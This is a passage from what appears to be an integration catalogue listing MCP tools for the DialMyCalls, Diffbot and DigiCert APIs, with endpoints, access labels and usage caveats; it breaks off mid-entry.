dialmycalls_list_do_not_contacts (read) — Retrieve a list of donotcontacts. GET /donotcontacts. Returns a list of donotcontact objects . The account's internal Do Not Call list. DialMyCalls' acceptable-use terms require opt-out requests to be honoured immediately through it, and this API exposes no route that adds to or removes from it -- the list is managed in the My Account section of DialMyCalls' console. GET /api/v1/dialmycalls/donotcontacts. Scopes: api. dialmycalls_list_groups (read) — Retrieve a list of contact groups. GET /groups. Returns a list of group objects . GET /api/v1/dialmycalls/groups. Scopes: api. dialmycalls_list_incoming_texts (read) — Retrieve a list of texts. GET /incoming/texts. Returns a list of Incoming Text objects . GET /api/v1/dialmycalls/incoming/texts. Scopes: api. dialmycalls_list_keywords (read) — Retrieve a list of keywords. GET /keywords. Returns a list of keyword objects . GET /api/v1/dialmycalls/keywords. Scopes: api. dialmycalls_list_recordings (read) — Retrieve a list of recordings. GET /recordings. Returns a list of recording objects . GET /api/v1/dialmycalls/recordings. Scopes: api. dialmycalls_list_shortcodes (read) — Retrieve a list of shortcodes. GET /shortcodes. Returns a list of shortcode objects . GET /api/v1/dialmycalls/shortcodes. Scopes: api. dialmycalls_list_texts (read) — Retrieve a list of texts. GET /service/texts. Returns a list of service objects . GET /api/v1/dialmycalls/service/texts. Scopes: api. dialmycalls_list_vanity_numbers (read) — Retrieve a list of vanity numbers. GET /vanitynumbers. Returns a list of vanitynumber objects . GET /api/v1/dialmycalls/vanitynumbers. Scopes: api. dialmycalls_update_access_account (write) — Update an existing access account. PUT /accessaccount/{AccessAccountId}. Returns a access account object if a valid identifier was provided and input validation passed, and returns an error otherwise. Sending `password` here CHANGES a sub-account's password, and the new value is a tool argument -- written into the conversation transcript and any tool-call log. Omit it to change only the name or email. See Add Access Account for the same warning at greater length. PUT /api/v1/dialmycalls/accessaccount/{access_account_id}. Scopes: api. dialmycalls_update_caller_id (write) — Update an existing caller ID. PUT /callerid/{CalleridId}. Returns a caller ID object if a valid identifier was provided and input validation passed, and returns an error otherwise. PUT /api/v1/dialmycalls/callerid/{callerid_id}. Scopes: api. dialmycalls_update_contact (write) — Update an existing contact in your contact list. PUT /contact/{ContactId}. Returns a contact object if a valid identifier was provided and input validation passed, and returns an error otherwise. PUT /api/v1/dialmycalls/contact/{contact_id}. Scopes: api. dialmycalls_update_group (write) — Update an existing contact group. PUT /group/{GroupId}. Returns a group object if a valid identifier was provided and input validation passed, and returns an error otherwise. PUT /api/v1/dialmycalls/group/{group_id}. Scopes: api. dialmycalls_update_recording (write) — Update an existing recording. PUT /recording/{RecordingId}. Returns a recording object if a valid identifier was provided and input validation passed, and returns an error otherwise. PUT /api/v1/dialmycalls/recording/{recording_id}. Scopes: api. dialmycalls_update_vanity_number (write) — Update a vanity number. PUT /vanitynumber/{VanityNumberId}. Returns a vanitynumber object if a valid identifier was provided, and returns an error otherwise. PUT /api/v1/dialmycalls/vanitynumber/{vanity_number_id}. Scopes: api. dialmycalls_verify_caller_id (write) — Verify a new caller ID. PUT /verify/callerid/{CalleridId}. Returns a caller ID object if a valid identifier was provided, and returns an error otherwise. Completes the pair started by Add Caller ID (Unverified): `pin` is the code read out by the verification call DialMyCalls placed to that number. It sends nothing itself. PUT /api/v1/dialmycalls/verify/callerid/{callerid_id}. Scopes: api. ================================================================================ ## Diffbot URL: https://www.agenticfabriq.com/integrations/diffbot Section: Integrated Tools Diffbot — 39 MCP tools Provider key: diffbot. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. diffbot_delete_custom (write, destructive) — Delete a Custom API: Delete definitions of existing Custom APIs for a given URL pattern and API on your token. DELETE api.diffbot.com/v3/custom. The body names the api and urlPattern whose rules are deleted. DELETE /api/v1/diffbot/v3/custom. Scopes: api. diffbot_get_account (read) — Get Account Details: Returns account plan, usage, child tokens, and other account details. GET api.diffbot.com/v4/account. GET /api/v1/diffbot/v4/account. Scopes: api. diffbot_get_analyze (read) — Analyze: Automatically classify a page and extract data according to its type. GET api.diffbot.com/v3/analyze. GET /api/v1/diffbot/v3/analyze. Scopes: api. diffbot_get_article (read) — Article: Automatically extract clean article text and other data from news articles, blog posts and other text-heavy pages. GET api.diffbot.com/v3/article. GET /api/v1/diffbot/v3/article. Scopes: api. diffbot_get_bulk (write, destructive) — Manage a Bulk Extract Job: Pause, delete, restart, or view the status of a bulk job. GET api.diffbot.com/v3/bulk. Requires the Diffbot Plus plan or above (Crawl and Bulk Extract are not available on Free or Startup). Without pause/restart/delete it returns job status; delete=1 permanently deletes the job and its data and restart=1 erases processed data. GET /api/v1/diffbot/v3/bulk. Scopes: api. diffbot_get_bulk_data (read) — Retrieve Bulk Extract Job Data: Download the extracted results of a bulk job. GET api.diffbot.com/v3/bulk/data. Requires the Diffbot Plus plan or above (Crawl and Bulk Extract are not available on Free or Startup). GET /api/v1/diffbot/v3/bulk/data. Scopes: api. diffbot_get_by_api (read) — Extract with Custom API: Extracts a page using a modified Extract API or a custom ruleset. GET api.diffbot.com/v3/{api}. api is the Custom API name as a single path segment; custom, crawl and bulk are refused (they have their own tools). GET /api/v1/diffbot/v3/{api}. Scopes: api. diffbot_get_crawl (write, destructive) — Manage a Crawl Job: Pause, delete, restart, or view the status of a crawl job. GET api.diffbot.com/v3/crawl. Requires the Diffbot Plus plan or above (Crawl and Bulk Extract are not available on Free or Startup). Without pause/restart/delete it returns job status; delete=1 permanently deletes the job and its data and restart=1 erases processed data. GET /api/v1/diffbot/v3/crawl. Scopes: api. diffbot_get_crawl_data (read) — Retrieve Crawl Job Data: Download the extracted results of a crawl job. GET api.diffbot.com/v3/crawl/data. Requires the Diffbot Plus plan or above (Crawl and Bulk Extract are not available on Free or Startup). GET /api/v1/diffbot/v3/crawl/data. Scopes: api. diffbot_get_custom (read) — Retrieve Custom APIs: Get all the Custom APIs and their rules currently defined on your token. GET api.diffbot.com/v3/custom. GET /api/v1/diffbot/v3/custom. Scopes: api. diffbot_get_discussion (read) — Discussion: Automatically structure and extract entire threads of reviews/comments from articles, product pages, and forum threads. GET api.diffbot.com/v3/discussion. GET /api/v1/diffbot/v3/discussion. Scopes: api. diffbot_get_event (read) — Event: Automatically extracts dates, location and address information, images and event descriptions from event pages. GET api.diffbot.com/v3/event. GET /api/v1/diffbot/v3/event. Scopes: api. diffbot_get_image (read) — Image: Automatically identifies the primary image(s) on any web page and returns comprehensive information and metadata for each image. GET api.diffbot.com/v3/image. GET /api/v1/diffbot/v3/image. Scopes: api. diffbot_get_job (read) — Job: Automatically extracts structured information from job postings. GET api.diffbot.com/v3/job. GET /api/v1/diffbot/v3/job. Scopes: api. diffbot_get_kg_v3_dql (read) — Search with DQL: Search the Knowledge Graph using DQL. GET kg.diffbot.com/kg/v3/dql. GET /api/v1/diffbot/kg/v3/dql. Scopes: api. diffbot_get_kg_v3_dql_report (read) — Coverage report by Query: Download coverage report by DQL query. GET kg.diffbot.com/kg/v3/dql/report. GET /api/v1/diffbot/kg/v3/dql/report. Scopes: api. diffbot_get_kg_v3_dql_report_by_id (read) — Coverage report by ID: Download coverage report by report ID. GET kg.diffbot.com/kg/v3/dql/report/{id}. GET /api/v1/diffbot/kg/v3/dql/report/{id}. Scopes: api. diffbot_get_kg_v3_enhance (read) — Enhance: Enrich a person or organization record with partial data input. GET kg.diffbot.com/kg/v3/enhance. Needs at least one identifier besides `type`: `id`, `name`, `url`, `phone` or `ip`; `location` also counts for an Organization and `email` for a Person. Diffbot refuses the call without one (400 "One of {...} is required.", naming the identifiers for the requested type). GET /api/v1/diffbot/kg/v3/enhance. Scopes: api. diffbot_get_kg_v3_enhance_bulk_by_bulkjobid (read) — Download Results of Bulkjob: Download the result of a completed Enhance Bulkjob. GET kg.diffbot.com/kg/v3/enhance/bulk/{bulkjobId}. GET /api/v1/diffbot/kg/v3/enhance/bulk/{bulkjobId}. Scopes: api. diffbot_get_kg_v3_enhance_bulk_by_bulkjobid_by_jobidx (read) — Download Single Result of Bulkjob: Use this API to download the result of a single job within a bulkjob by specifying the index of the job. GET kg.diffbot.com/kg/v3/enhance/bulk/{bulkjobId}/{jobIdx}. GET /api/v1/diffbot/kg/v3/enhance/bulk/{bulkjobId}/{jobIdx}. Scopes: api. diffbot_get_kg_v3_enhance_bulk_by_bulkjobid_delete (write, destructive) — Delete Bulkjob: Delete bulkjob. GET kg.diffbot.com/kg/v3/enhance/bulk/{bulkjobId}/delete. Permanently deletes the bulkjob. GET /api/v1/diffbot/kg/v3/enhance/bulk/{bulkjobId}/delete. Scopes: api. diffbot_get_kg_v3_enhance_bulk_by_bulkjobid_status (read) — Poll bulkjob status: Poll the status of an Enhance Bulkjob. GET kg.diffbot.com/kg/v3/enhance/bulk/{bulkjobId}/status. GET /api/v1/diffbot/kg/v3/enhance/bulk/{bulkjobId}/status. Scopes: api. diffbot_get_kg_v3_enhance_bulk_by_bulkjobid_stop (write) — Stop Bulkjob: Stop an active Enhance Bulkjob. GET kg.diffbot.com/kg/v3/enhance/bulk/{bulkjobId}/stop. GET /api/v1/diffbot/kg/v3/enhance/bulk/{bulkjobId}/stop. Scopes: api. diffbot_get_kg_v3_enhance_bulk_report_by_bulkjobid_by_reportid (read) — Download Bulkjob Coverage Report: Download the coverage report of a completed Bulk Enhance job. GET kg.diffbot.com/kg/v3/enhance/bulk/report/{bulkjobId}/{reportId}. GET /api/v1/diffbot/kg/v3/enhance/bulk/report/{bulkjobId}/{reportId}. Scopes: api. diffbot_get_kg_v3_enhance_bulk_status (read) — List Bulkjobs for Token: Poll the status of all Enhance Bulkjobs for a token. GET kg.diffbot.com/kg/v3/enhance/bulk/status. GET /api/v1/diffbot/kg/v3/enhance/bulk/status. Scopes: api. diffbot_get_kg_v3_enhance_combine (read) — Combine: Enrich a person record and return both person and current employer data. GET kg.diffbot.com/kg/v3/enhance/combine. Needs at least one identifier besides `type`: `name`, `email`, `url`, `phone` or `ip`. Diffbot refuses the call without one (400 "One of {name, email, url, phone, ip} is required."). GET /api/v1/diffbot/kg/v3/enhance/combine. Scopes: api. diffbot_get_list (read) — List: Automatically structures a list of items from news index pages, product listings pages, search engine results pages, and other "list-like" pages. GET api.diffbot.com/v3/list. GET /api/v1/diffbot/v3/list. Scopes: api. diffbot_get_product (read) — Product: Automatically extract pricing, product specs, images, and more from an e-commerce product page. GET api.diffbot.com/v3/product. GET /api/v1/diffbot/v3/product. Scopes: api. diffbot_get_video (read) — Video: The Video API automatically extracts detailed video information—including most metadata, thumbnail images, direct video URL and embed code from nearly any video page or video platform on the web. GET api.diffbot.com/v3/video. GET /api/v1/diffbot/v3/video. Scopes: api. diffbot_get_web_search (read) — Run a Web Search: Search Diffbot's Web Index. GET llm.diffbot.com/api/v1/web_search. GET /api/v1/diffbot/llm/api/v1/web_search. Scopes: api. diffbot_post_bulk (write) — Create a Bulk Extract Job: Extract a list of URLs asynchronously. POST api.diffbot.com/v3/bulk. Requires the Diffbot Plus plan or above (Crawl and Bulk Extract are not available on Free or Startup). The body is sent form-encoded, as Diffbot requires. POST /api/v1/diffbot/v3/bulk. Scopes: api. diffbot_post_crawl (write) — Create a Crawl: Create and start a job to spider and extract pages through a site. POST api.diffbot.com/v3/crawl. Requires the Diffbot Plus plan or above (Crawl and Bulk Extract are not available on Free or Startup). The body is sent form-encoded, as Diffbot requires. POST /api/v1/diffbot/v3/crawl. Scopes: api. diffbot_post_custom (write) — Create or Update a Custom API: Create or update the parameters and ruleset of an existing Custom API. POST api.diffbot.com/v3/custom. POST /api/v1/diffbot/v3/custom. Scopes: api. diffbot_post_kg_v3_dql (read) — Search with DQL: Search the Knowledge Graph using DQL. POST kg.diffbot.com/kg/v3/dql. POST /api/v1/diffbot/kg/v3/dql. Scopes: api. diffbot_post_kg_v3_enhance (read) — Enhance: Enrich a person or organization record with partial data input (POST option). POST kg.diffbot.com/kg/v3/enhance. Needs at least one identifier besides `type` inside `body`: `id`, `name`, `url`, `phone` or `ip`; `location` also counts for an Organization and `email` for a Person. Diffbot refuses the call without one (400 "One of {...} is required.", naming the identifiers for the requested type). POST /api/v1/diffbot/kg/v3/enhance. Scopes: api. diffbot_post_kg_v3_enhance_bulk (write) — Create a Bulkjob: Enhance multiple records in bulk asynchronously. POST kg.diffbot.com/kg/v3/enhance/bulk. POST /api/v1/diffbot/kg/v3/enhance/bulk. Scopes: api. diffbot_post_kg_v3_enhance_bulk_by_bulkjobid (read) — Download Results of Bulkjob: Download the result of a completed Enhance Bulkjob. POST kg.diffbot.com/kg/v3/enhance/bulk/{bulkjobId}. POST /api/v1/diffbot/kg/v3/enhance/bulk/{bulkjobId}. Scopes: api. diffbot_post_nl_v1 (read) — Process Text. POST nl.diffbot.com/v1/. POST /api/v1/diffbot/nl/v1. Scopes: api. diffbot_post_web_search (read) — Run a Web Search. POST llm.diffbot.com/api/v1/web_search. POST /api/v1/diffbot/llm/api/v1/web_search. Scopes: api. ================================================================================ ## DigiCert URL: https://www.agenticfabriq.com/integrations/digicert Section: Integrated Tools DigiCert — 251 MCP tools Provider key: digicert. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. digicert_account_account_details (read) — Account details via GET /account GET /api/v1/digicert/account. Scopes: api. digicert_account_add_custom_field (write) — Add custom field via POST /account/metadata. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/account/metadata. Scopes: api. digicert_account_authkey_details (read) — AuthKey details via GET /account/auth-key GET /api/v1/digicert/account/auth-key. Scopes: api. digicert_account_bulk_add_fields (write) — Bulk add fields via POST /account/metadata/bulk. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/account/metadata/bulk. Scopes: api. digicert_account_configure_oidc_sso (write) — Configure OIDC SSO via POST /sso/oidc/entity. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/sso/oidc/entity. Scopes: api. digicert_account_contract_details (read) — Contract details via GET /account/contract GET /api/v1/digicert/account/contract. Scopes: api. digicert_account_create_authkey (write) — Create AuthKey via POST /account/auth-key. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/account/auth-key. Scopes: api. digicert_account_delete_authkey (write, destructive) — Delete AuthKey via DELETE /account/auth-key. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. DELETE /api/v1/digicert/account/auth-key. Scopes: api. digicert_account_delete_custom_field (write, destructive) — Account: Delete custom field via DELETE /account/metadata/{metadata_id}. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. DELETE /api/v1/digicert/account/metadata/{metadata_id}. Scopes: api. digicert_account_delete_oidc_sso_configuration (write, destructive) — Delete OIDC SSO configuration via DELETE /sso/oidc/entity. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. DELETE /api/v1/digicert/sso/oidc/entity. Scopes: api. digicert_account_edit_custom_field (write) — Edit custom field via PUT /account/metadata/{metadata_id}. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/account/metadata/{metadata_id}. Scopes: api. digicert_account_guest_access_url (read) — Guest access URL via GET /account/guest-access GET /api/v1/digicert/account/guest-access. Scopes: api. digicert_account_invite_details (read) — Invite details via GET /account/subaccount/{invite_id}. This endpoint's URL is shared with another operation and DigiCert tells them apart by the REQUEST BODY, not the address; send the body this tool's schema describes. GET /api/v1/digicert/_variants/account_invite_details. Scopes: api. digicert_account_list_authkeys (read) — List AuthKeys via GET /account/auth-keys GET /api/v1/digicert/account/auth-keys. Scopes: api. digicert_account_list_custom_fields (read) — List custom fields via GET /account/metadata GET /api/v1/digicert/account/metadata. Scopes: api. digicert_account_list_invites (read) — List invites via GET /account/subaccount/invite. Every `filters_` argument goes on the wire as the bracketed key DigiCert reads, filters[]. Paged with `offset` (0-based) and `limit`; DigiCert's default and maximum for `limit` differ per endpoint and are stated on that parameter. GET /api/v1/digicert/account/subaccount/invite. Scopes: api. digicert_account_move_order (write) — Move orders via POST /account/move-orders/{target_account_id}. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/account/move-orders/{target_account_id}. Scopes: api. digicert_account_oidc_sso_configuration_details (read) — OIDC SSO configuration details via GET /sso/oidc/entity GET /api/v1/digicert/sso/oidc/entity. Scopes: api. digicert_account_resend_invite (write) — Resend invite via PUT /account/subaccount/invite/{invite_id}/send. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/account/subaccount/invite/{invite_id}/send. Scopes: api. digicert_account_saml_entity_details (read) — SAML entity details via GET /account/saml-entity GET /api/v1/digicert/account/saml-entity. Scopes: api. digicert_account_send_invite (write) — Send invite via POST /account/subaccount/invite. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/account/subaccount/invite. Scopes: api. digicert_account_update_account_emails (write) — Update account emails via PUT /account. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/account. Scopes: api. digicert_account_update_account_notification_settings (write) — Update account notification settings via PUT /account/settings. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/account/settings. Scopes: api. digicert_account_update_invite_status (write) — Update invite status via PUT /account/subaccount/invite/{invite_id}/status. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/account/subaccount/invite/{invite_id}/status. Scopes: api. digicert_account_update_oidc_sso_configuration (write) — Update OIDC SSO configuration via PUT /sso/oidc/entity. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/sso/oidc/entity. Scopes: api. digicert_account_update_saml_entity (write) — Update SAML entity via PUT /account/saml-entity/{entity_id}. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/account/saml-entity/{entity_id}. Scopes: api. digicert_api_keys_acme_external_account_binding (write) — ACME External Account Binding via POST /key/acme-eab. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/key/acme-eab. Scopes: api. digicert_api_keys_acme_external_account_binding_new (write) — ACME External Account Binding new via POST /key/acme-eab/tlm. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/key/acme-eab/tlm. Scopes: api. digicert_api_keys_create_key (write) — Create key via POST /key/user/{user_id}. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/key/user/{user_id}. Scopes: api. digicert_api_keys_edit_key (write) — Edit key via PUT /key/{key_id}. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/key/{key_id}. Scopes: api. digicert_api_keys_get_key_info (read) — Get key info via GET /key/{key_id} GET /api/v1/digicert/key/{key_id}. Scopes: api. digicert_api_keys_list_api_access_roles (read) — List API access roles via GET /key/api-roles GET /api/v1/digicert/key/api-roles. Scopes: api. digicert_api_keys_list_keys (read) — List keys via GET /key GET /api/v1/digicert/key. Scopes: api. digicert_api_keys_update_key_status (write) — Update key status via PUT /key/{key_id}/status. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/key/{key_id}/status. Scopes: api. digicert_authorization_check_permission (read) — Check permission via GET /authorization/view_orders GET /api/v1/digicert/authorization/view_orders. Scopes: api. digicert_authorization_container_permissions (read) — Container permissions via GET /authorization/{permission}/container GET /api/v1/digicert/authorization/{permission}/container. Scopes: api. digicert_authorization_list_permissions (read) — List permissions via GET /authorization GET /api/v1/digicert/authorization. Scopes: api. digicert_certificates_add_note (write) — Certificates: Add note via POST /certificate/{certificate_id}/note. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. POST /api/v1/digicert/certificate/{certificate_id}/note. Scopes: api. digicert_certificates_archive_certificate (write) — Archive certificate via PUT /certificate/{certificate_id}/archive. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/certificate/{certificate_id}/archive. Scopes: api. digicert_certificates_certificate_chain (read) — Certificate chain via GET /certificate/{certificate_id}/chain. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/certificate/{certificate_id}/chain. Scopes: api. digicert_certificates_download_certificate (read) — Download certificate via GET /certificate/{certificate_id}/download/platform. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/certificate/{certificate_id}/download/platform. Scopes: api. digicert_certificates_download_certificate_by_format (read) — Download certificate by format via GET /certificate/{certificate_id}/download/format/{format_type}. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/certificate/{certificate_id}/download/format/{format_type}. Scopes: api. digicert_certificates_download_certificate_by_format_order_id (read) — Download certificate by format (order_id) via GET /certificate/download/order/{order_id}/format/{format_type}. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/certificate/download/order/{order_id}/format/{format_type}. Scopes: api. digicert_certificates_download_certificate_order_id (read) — Download certificate (order_id) via GET /certificate/download/order/{order_id}. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/certificate/download/order/{order_id}. Scopes: api. digicert_certificates_email_certificate (write) — Email certificate via PUT /certificate/{certificate_id}/sendemail. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/certificate/{certificate_id}/sendemail. Scopes: api. digicert_certificates_list_certificate_notes (read) — List certificate notes via GET /certificate/{certificate_id}/note. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/certificate/{certificate_id}/note. Scopes: api. digicert_certificates_list_intermediates (read) — List intermediates via GET /certificate/intermediates GET /api/v1/digicert/certificate/intermediates. Scopes: api. digicert_certificates_restore_certificate (write) — Restore certificate via PUT /certificate/{certificate_id}/unarchive. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/certificate/{certificate_id}/unarchive. Scopes: api. digicert_certificates_revoke_certificate (write, destructive) — Revoke certificate via PUT /certificate/{certificate_identifier}/revoke. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/certificate/{certificate_identifier}/revoke. Scopes: api. digicert_containers_activate_container (write) — Activate container via PUT /container/{container_id}/activate. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/container/{container_id}/activate. Scopes: api. digicert_containers_container_info (read) — Container info via GET /container/{container_id} GET /api/v1/digicert/container/{container_id}. Scopes: api. digicert_containers_create_container (write) — Create container via POST /container/{container_id}/children. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. POST /api/v1/digicert/container/{container_id}/children. Scopes: api. digicert_containers_deactivate_container (write) — Deactivate container via PUT /container/{container_id}/deactivate. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/container/{container_id}/deactivate. Scopes: api. digicert_containers_edit_container (write) — Edit container via PUT /container/{container_id}. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/container/{container_id}. Scopes: api. digicert_containers_list_child_containers (read) — List child containers via GET /container/{container_id}/children GET /api/v1/digicert/container/{container_id}/children. Scopes: api. digicert_containers_list_container_organizations (read) — List container organizations via GET /container/{container_id}/order/organization GET /api/v1/digicert/container/{container_id}/order/organization. Scopes: api. digicert_containers_list_container_roles (read) — List container roles via GET /container/{container_id}/role GET /api/v1/digicert/container/{container_id}/role. Scopes: api. digicert_containers_list_containers (read) — List containers via GET /container GET /api/v1/digicert/container. Scopes: api. digicert_containers_list_templates (read) — List templates via GET /container/{container_id}/template GET /api/v1/digicert/container/{container_id}/template. Scopes: api. digicert_containers_parent_container_info (read) — Parent container info via GET /container/{container_id}/parent GET /api/v1/digicert/container/{container_id}/parent. Scopes: api. digicert_containers_product_limits (read) — Product limits via GET /container/{container_id}/product-limits GET /api/v1/digicert/container/{container_id}/product-limits. Scopes: api. digicert_containers_template_info (read) — Template info via GET /container/{container_id}/template/{template_id} GET /api/v1/digicert/container/{container_id}/template/{template_id}. Scopes: api. digicert_containers_update_allowed_domains (write) — Update allowed domains via PUT /container/{container_id}/allowed-domain-names. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/container/{container_id}/allowed-domain-names. Scopes: api. digicert_containers_update_organization_assignments (write) — Update organization assignments via PUT /container/{container_id}/organization-assignments. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/container/{container_id}/organization-assignments. Scopes: api. digicert_containers_update_renewal_notifications_recipient (write) — Update renewal notification recipients via PUT /container/{container_id}/settings/additional_renewal_emails. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/container/{container_id}/settings/additional_renewal_emails. Scopes: api. digicert_containers_update_user_assignments (write) — Update user assignments via PUT /container/{container_id}/user-assignments. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. PUT /api/v1/digicert/container/{container_id}/user-assignments. Scopes: api. digicert_ct_log_monitoring_allowlist_issuing_certificate_authority (write) — Allowlist issuing certificate authority via PUT /ctmonitor/issuer-brand-settings. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/ctmonitor/issuer-brand-settings. Scopes: api. digicert_ct_log_monitoring_disable_ct_log_monitoring (write) — Disable CT log monitoring via PUT /ctmonitor/{order_id}/disable. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/ctmonitor/{order_id}/disable. Scopes: api. digicert_ct_log_monitoring_download_certificate_serial_number (read) — Download certificate (serial number) via GET /ctmonitor/{order_id}/ct-cert/{serial_id}. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. GET /api/v1/digicert/ctmonitor/{order_id}/ct-cert/{serial_id}. Scopes: api. digicert_ct_log_monitoring_enable_ct_log_monitoring (write) — Enable CT log monitoring via PUT /ctmonitor/{order_id}/enable. A key minted with DigiCert's 'View Only' restriction is refused on this call, and the refusal reads like a bad key rather than a missing permission. Entitlement-gated: it addresses a purchased certificate, an order, or a scan, so a CertCentral account that has never bought a certificate (or whose organization and domain are not yet validated) cannot exercise it. PUT /api/v1/digicert/ctmonitor/{order_id}/enable. Scopes: api. digicert_ct_log_monitoring_get_allowlisted_issuing_ca_brand_details (read) — Get allowlisted issuing CA brand details via GET /ctmonitor/issuer-brand-settings. Every `filters_` argument goes on the wire as the bracketed key 